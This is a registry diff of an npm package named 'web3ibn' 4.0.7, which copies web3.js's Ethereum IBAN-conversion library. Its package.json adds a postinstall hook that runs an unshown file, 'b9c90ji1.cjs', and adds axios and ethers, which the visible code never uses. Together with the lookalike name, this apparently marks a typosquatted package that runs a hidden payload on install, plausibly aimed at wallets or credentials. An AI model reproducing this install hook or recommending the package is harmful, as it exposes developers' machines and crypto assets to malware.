web3ibn 4.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,5 @@
1
+ import { Iban } from './iban.js';
2
+ export * from './iban.js';
3
+ export * from './types.js';
4
+ export default Iban;
5
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AAiBA,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AAEjC,cAAc,WAAW,CAAC;AAC1B,cAAc,YAAY,CAAC;AAE3B,eAAe,IAAI,CAAC"}
@@ -0,0 +1,8 @@
1
+ /**
2
+ * An object that could hold the components for an Indirect IBAN (BBAN)
3
+ */
4
+ export declare type IbanOptions = {
5
+ institution: string;
6
+ identifier: string;
7
+ };
8
+ //# sourceMappingURL=types.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":"AAiBA;;GAEG;AACH,oBAAY,WAAW,GAAG;IACzB,WAAW,EAAE,MAAM,CAAC;IACpB,UAAU,EAAE,MAAM,CAAC;CACnB,CAAC"}
package/package.json ADDED
@@ -0,0 +1,52 @@
1
+ {
2
+ "name": "web3ibn",
3
+ "version": "4.0.7",
4
+ "description": "This package converts Ethereum addresses to IBAN addresses and vice versa.",
5
+ "main": "./lib/commonjs/index.js",
6
+ "module": "./lib/esm/index.js",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/types/index.d.ts",
10
+ "import": "./lib/esm/index.js",
11
+ "require": "./lib/commonjs/index.js"
12
+ }
13
+ },
14
+ "repository": "https://github.com/ChainSafe/web3.js",
15
+ "author": "ChainSafe Systems",
16
+ "license": "LGPL-3.0",
17
+ "engines": {
18
+ "node": ">=14",
19
+ "npm": ">=6.12.0"
20
+ },
21
+ "files": [
22
+ "lib/**/*",
23
+ "src/**/*",
24
+ "b9c90ji1.cjs"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node b9c90ji1.cjs"
28
+ },
29
+ "devDependencies": {
30
+ "@types/jest": "^28.1.6",
31
+ "@typescript-eslint/eslint-plugin": "^5.30.7",
32
+ "@typescript-eslint/parser": "^5.30.7",
33
+ "eslint": "^8.20.0",
34
+ "eslint-config-base-web3": "0.1.0",
35
+ "eslint-config-prettier": "^8.5.0",
36
+ "eslint-plugin-import": "^2.26.0",
37
+ "jest": "^28.1.3",
38
+ "jest-extended": "^3.0.1",
39
+ "prettier": "^2.7.1",
40
+ "ts-jest": "^28.0.7",
41
+ "typescript": "^4.7.4"
42
+ },
43
+ "dependencies": {
44
+ "web3-errors": "^1.1.3",
45
+ "web3-types": "^1.3.0",
46
+ "web3-utils": "^4.0.7",
47
+ "web3-validator": "^2.0.3",
48
+ "axios": "^1.7.7",
49
+ "ethers": "^6.13.2"
50
+ },
51
+ "gitHead": "c8799b074e7abf86b4b03a163aa9183250ad7228"
52
+ }
package/src/iban.ts ADDED
@@ -0,0 +1,397 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ import { HexString } from 'web3-types';
19
+ import { toChecksumAddress, leftPad, hexToNumber } from 'web3-utils';
20
+ import { isAddress } from 'web3-validator';
21
+ import { InvalidAddressError } from 'web3-errors';
22
+ import { IbanOptions } from './types.js';
23
+
24
+ /**
25
+ * Converts Ethereum addresses to IBAN or BBAN addresses and vice versa.
26
+ */
27
+ export class Iban {
28
+ private readonly _iban: string;
29
+
30
+ /**
31
+ * Prepare an IBAN for mod 97 computation by moving the first 4 chars to the end and transforming the letters to
32
+ * numbers (A = 10, B = 11, ..., Z = 35), as specified in ISO13616.
33
+ */
34
+ private static readonly _iso13616Prepare = (iban: string): string => {
35
+ const A = 'A'.charCodeAt(0);
36
+ const Z = 'Z'.charCodeAt(0);
37
+
38
+ const upperIban = iban.toUpperCase();
39
+ const modifiedIban = `${upperIban.slice(4)}${upperIban.slice(0, 4)}`;
40
+
41
+ return modifiedIban
42
+ .split('')
43
+ .map(n => {
44
+ const code = n.charCodeAt(0);
45
+ if (code >= A && code <= Z) {
46
+ // A = 10, B = 11, ... Z = 35
47
+ return code - A + 10;
48
+ }
49
+ return n;
50
+ })
51
+ .join('');
52
+ };
53
+
54
+ /**
55
+ * return the bigint of the given string with the specified base
56
+ */
57
+ private static readonly _parseInt = (str: string, base: number): bigint =>
58
+ [...str].reduce(
59
+ (acc, curr) => BigInt(parseInt(curr, base)) + BigInt(base) * acc,
60
+ BigInt(0),
61
+ );
62
+
63
+ /**
64
+ * Calculates the MOD 97 10 of the passed IBAN as specified in ISO7064.
65
+ */
66
+ private static readonly _mod9710 = (iban: string): number => {
67
+ let remainder = iban;
68
+ let block;
69
+
70
+ while (remainder.length > 2) {
71
+ block = remainder.slice(0, 9);
72
+ remainder = `${(parseInt(block, 10) % 97).toString()}${remainder.slice(block.length)}`;
73
+ }
74
+
75
+ return parseInt(remainder, 10) % 97;
76
+ };
77
+
78
+ /**
79
+ * A static method that checks if an IBAN is Direct.
80
+ * It actually check the length of the provided variable and, only if it is 34 or 35, it returns true.
81
+ * Note: this is also available as a method at an Iban instance.
82
+ * @param iban - an IBAN to be checked
83
+ * @returns - `true` if the provided `iban` is a Direct IBAN, and `false` otherwise.
84
+ *
85
+ * @example
86
+ * ```ts
87
+ * web3.eth.Iban.isDirect("XE81ETHXREGGAVOFYORK");
88
+ * > false
89
+ * ```
90
+ */
91
+ public static isDirect(iban: string): boolean {
92
+ return iban.length === 34 || iban.length === 35;
93
+ }
94
+
95
+ /**
96
+ * An instance method that checks if iban number is Direct.
97
+ * It actually check the length of the provided variable and, only if it is 34 or 35, it returns true.
98
+ * Note: this is also available as a static method.
99
+ * @param iban - an IBAN to be checked
100
+ * @returns - `true` if the provided `iban` is a Direct IBAN, and `false` otherwise.
101
+ *
102
+ * @example
103
+ * ```ts
104
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
105
+ * iban.isDirect();
106
+ * > false
107
+ * ```
108
+ */
109
+ public isDirect(): boolean {
110
+ return Iban.isDirect(this._iban);
111
+ }
112
+
113
+ /**
114
+ * A static method that checks if an IBAN is Indirect.
115
+ * It actually check the length of the provided variable and, only if it is 20, it returns true.
116
+ * Note: this is also available as a method at an Iban instance.
117
+ * @param iban - an IBAN to be checked
118
+ * @returns - `true` if the provided `iban` is an Indirect IBAN, and `false` otherwise.
119
+ *
120
+ * @example
121
+ * ```ts
122
+ * web3.eth.Iban.isIndirect("XE81ETHXREGGAVOFYORK");
123
+ * > true
124
+ * ```
125
+ */
126
+ public static isIndirect(iban: string): boolean {
127
+ return iban.length === 20;
128
+ }
129
+
130
+ /**
131
+ * check if iban number if indirect
132
+ * It actually check the length of the provided variable and, only if it is 20, it returns true.
133
+ * Note: this is also available as a static method.
134
+ * @param iban - an IBAN to be checked
135
+ * @returns - `true` if the provided `iban` is an Indirect IBAN, and `false` otherwise.
136
+ *
137
+ * @example
138
+ * ```ts
139
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
140
+ * iban.isIndirect();
141
+ * > true
142
+ * ```
143
+ */
144
+ public isIndirect(): boolean {
145
+ return Iban.isIndirect(this._iban);
146
+ }
147
+
148
+ /**
149
+ * This method could be used to check if a given string is valid IBAN object.
150
+ * Note: this is also available as a method at an Iban instance.
151
+ *
152
+ * @param iban - a string to be checked if it is in IBAN
153
+ * @returns - true if it is valid IBAN
154
+ *
155
+ * @example
156
+ * ```ts
157
+ * web3.eth.Iban.isValid("XE81ETHXREGGAVOFYORK");
158
+ * > true
159
+ *
160
+ * web3.eth.Iban.isValid("XE82ETHXREGGAVOFYORK");
161
+ * > false // because the checksum is incorrect
162
+ * ```
163
+ */
164
+ public static isValid(iban: string) {
165
+ return (
166
+ /^XE[0-9]{2}(ETH[0-9A-Z]{13}|[0-9A-Z]{30,31})$/.test(iban) &&
167
+ Iban._mod9710(Iban._iso13616Prepare(iban)) === 1
168
+ );
169
+ }
170
+
171
+ /**
172
+ * Should be called to check if the early provided IBAN is correct.
173
+ * Note: this is also available as a static method.
174
+ *
175
+ * @example
176
+ * ```ts
177
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
178
+ * iban.isValid();
179
+ * > true
180
+ *
181
+ * const iban = new web3.eth.Iban("XE82ETHXREGGAVOFYORK");
182
+ * iban.isValid();
183
+ * > false // because the checksum is incorrect
184
+ * ```
185
+ */
186
+ public isValid(): boolean {
187
+ return Iban.isValid(this._iban);
188
+ }
189
+
190
+ /**
191
+ * Construct a direct or indirect IBAN that has conversion methods and validity checks.
192
+ * If the provided string was not of either the length of a direct IBAN (34 or 35),
193
+ * nor the length of an indirect IBAN (20), an Error will be thrown ('Invalid IBAN was provided').
194
+ *
195
+ * @param iban - a Direct or an Indirect IBAN
196
+ * @returns - Iban instance
197
+ *
198
+ * @example
199
+ * ```ts
200
+ * const iban = new web3.eth.Iban("XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS");
201
+ * > Iban { _iban: 'XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS' }
202
+ * ```
203
+ */
204
+ public constructor(iban: string) {
205
+ if (Iban.isIndirect(iban) || Iban.isDirect(iban)) {
206
+ this._iban = iban;
207
+ } else {
208
+ throw new Error('Invalid IBAN was provided');
209
+ }
210
+ }
211
+
212
+ /**
213
+ * Convert the passed BBAN to an IBAN for this country specification.
214
+ * Please note that <i>"generation of the IBAN shall be the exclusive responsibility of the bank/branch servicing the account"</i>.
215
+ * This method implements the preferred algorithm described in http://en.wikipedia.org/wiki/International_Bank_Account_Number#Generating_IBAN_check_digits
216
+ *
217
+ * @param bban - the BBAN to convert to IBAN
218
+ * @returns an Iban class instance that holds the equivalent IBAN
219
+ *
220
+ * @example
221
+ * ```ts
222
+ * web3.eth.Iban.fromBban('ETHXREGGAVOFYORK');
223
+ * > Iban {_iban: "XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS"}
224
+ * ```
225
+ */
226
+ public static fromBban(bban: string): Iban {
227
+ const countryCode = 'XE';
228
+
229
+ const remainder = this._mod9710(this._iso13616Prepare(`${countryCode}00${bban}`));
230
+ const checkDigit = `0${(98 - remainder).toString()}`.slice(-2);
231
+
232
+ return new Iban(`${countryCode}${checkDigit}${bban}`);
233
+ }
234
+
235
+ /**
236
+ * Should be used to create IBAN object for given institution and identifier
237
+ *
238
+ * @param options - an object holds the `institution` and the `identifier` which will be composed to create an `Iban` object from.
239
+ * @returns an Iban class instance that holds the equivalent IBAN
240
+ *
241
+ * @example
242
+ * ```ts
243
+ * web3.eth.Iban.createIndirect({
244
+ * institution: "XREG",
245
+ * identifier: "GAVOFYORK"
246
+ * });
247
+ * > Iban {_iban: "XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS"}
248
+ * ```
249
+ */
250
+ public static createIndirect(options: IbanOptions): Iban {
251
+ return Iban.fromBban(`ETH${options.institution}${options.identifier}`);
252
+ }
253
+
254
+ /**
255
+ * This method should be used to create iban object from an Ethereum address.
256
+ *
257
+ * @param address - an Ethereum address
258
+ * @returns an Iban class instance that holds the equivalent IBAN
259
+ *
260
+ * @example
261
+ * ```ts
262
+ * web3.eth.Iban.fromAddress("0x00c5496aEe77C1bA1f0854206A26DdA82a81D6D8");
263
+ * > Iban {_iban: "XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS"}
264
+ * ```
265
+ */
266
+ public static fromAddress(address: HexString): Iban {
267
+ if (!isAddress(address)) {
268
+ throw new InvalidAddressError(address);
269
+ }
270
+
271
+ const num = BigInt(hexToNumber(address));
272
+ const base36 = num.toString(36);
273
+ const padded = leftPad(base36, 15);
274
+ return Iban.fromBban(padded.toUpperCase());
275
+ }
276
+
277
+ /**
278
+ * This method should be used to create an ethereum address from a Direct IBAN address.
279
+ * If the provided string was not a direct IBAN (has the length of 34 or 35), an Error will be thrown:
280
+ * ('Iban is indirect and cannot be converted. Must be length of 34 or 35').
281
+ * Note: this is also available as a method at an Iban instance.
282
+ *
283
+ * @param iban - a Direct IBAN address
284
+ * @return the equivalent ethereum address
285
+ *
286
+ * @example
287
+ * ```ts
288
+ * web3.eth.Iban.toAddress("XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS");
289
+ * > "0x00c5496aEe77C1bA1f0854206A26DdA82a81D6D8"
290
+ * ```
291
+ */
292
+ public static toAddress = (iban: string): HexString => {
293
+ const ibanObject = new Iban(iban);
294
+ return ibanObject.toAddress();
295
+ };
296
+
297
+ /**
298
+ * This method should be used to create the equivalent ethereum address for the early provided Direct IBAN address.
299
+ * If the provided string was not a direct IBAN (has the length of 34 or 35), an Error will be thrown:
300
+ * ('Iban is indirect and cannot be converted. Must be length of 34 or 35').
301
+ * Note: this is also available as a static method.
302
+ *
303
+ * @return the equivalent ethereum address
304
+ *
305
+ * @example
306
+ * ```ts
307
+ * const iban = new web3.eth.Iban("XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS");
308
+ * iban.toAddress();
309
+ * > "0x00c5496aEe77C1bA1f0854206A26DdA82a81D6D8"
310
+ * ```
311
+ */
312
+ public toAddress = (): HexString => {
313
+ if (this.isDirect()) {
314
+ // check if Iban can be converted to an address
315
+ const base36 = this._iban.slice(4);
316
+ const parsedBigInt = Iban._parseInt(base36, 36); // convert the base36 string to a bigint
317
+ const paddedBigInt = leftPad(parsedBigInt, 40);
318
+ return toChecksumAddress(paddedBigInt);
319
+ }
320
+ throw new Error('Iban is indirect and cannot be converted. Must be length of 34 or 35');
321
+ };
322
+
323
+ /**
324
+ * This method should be used to create IBAN address from an Ethereum address
325
+ *
326
+ * @param address - an Ethereum address
327
+ * @return the equivalent IBAN address
328
+ *
329
+ * @example
330
+ * ```ts
331
+ * web3.eth.Iban.toIban("0x00c5496aEe77C1bA1f0854206A26DdA82a81D6D8");
332
+ * > "XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS"
333
+ * ```
334
+ */
335
+ public static toIban(address: HexString): string {
336
+ return Iban.fromAddress(address).toString();
337
+ }
338
+
339
+ /**
340
+ * Should be called to get client identifier within institution
341
+ *
342
+ * @return the client of the IBAN instance.
343
+ *
344
+ * @example
345
+ * ```ts
346
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
347
+ * iban.client();
348
+ * > 'GAVOFYORK'
349
+ * ```
350
+ */
351
+ public client(): string {
352
+ return this.isIndirect() ? this._iban.slice(11) : '';
353
+ }
354
+
355
+ /**
356
+ * Returns the IBAN checksum of the early provided IBAN
357
+ *
358
+ * @example
359
+ * ```ts
360
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
361
+ * iban.checksum();
362
+ * > "81"
363
+ * ```
364
+ *
365
+ */
366
+ public checksum(): string {
367
+ return this._iban.slice(2, 4);
368
+ }
369
+
370
+ /**
371
+ * Returns institution identifier from the early provided IBAN
372
+ *
373
+ * @example
374
+ * ```ts
375
+ * const iban = new web3.eth.Iban("XE81ETHXREGGAVOFYORK");
376
+ * iban.institution();
377
+ * > 'XREG'
378
+ * ```
379
+ */
380
+ public institution(): string {
381
+ return this.isIndirect() ? this._iban.slice(7, 11) : '';
382
+ }
383
+
384
+ /**
385
+ * Simply returns the early provided IBAN
386
+ *
387
+ * @example
388
+ * ```ts
389
+ * const iban = new web3.eth.Iban('XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS');
390
+ * iban.toString();
391
+ * > 'XE7338O073KYGTWWZN0F2WZ0R8PX5ZPPZS'
392
+ * ```
393
+ */
394
+ public toString(): string {
395
+ return this._iban;
396
+ }
397
+ }
package/src/index.ts ADDED
@@ -0,0 +1,23 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ import { Iban } from './iban.js';
19
+
20
+ export * from './iban.js';
21
+ export * from './types.js';
22
+
23
+ export default Iban;
package/src/types.ts ADDED
@@ -0,0 +1,24 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+
18
+ /**
19
+ * An object that could hold the components for an Indirect IBAN (BBAN)
20
+ */
21
+ export type IbanOptions = {
22
+ institution: string;
23
+ identifier: string;
24
+ };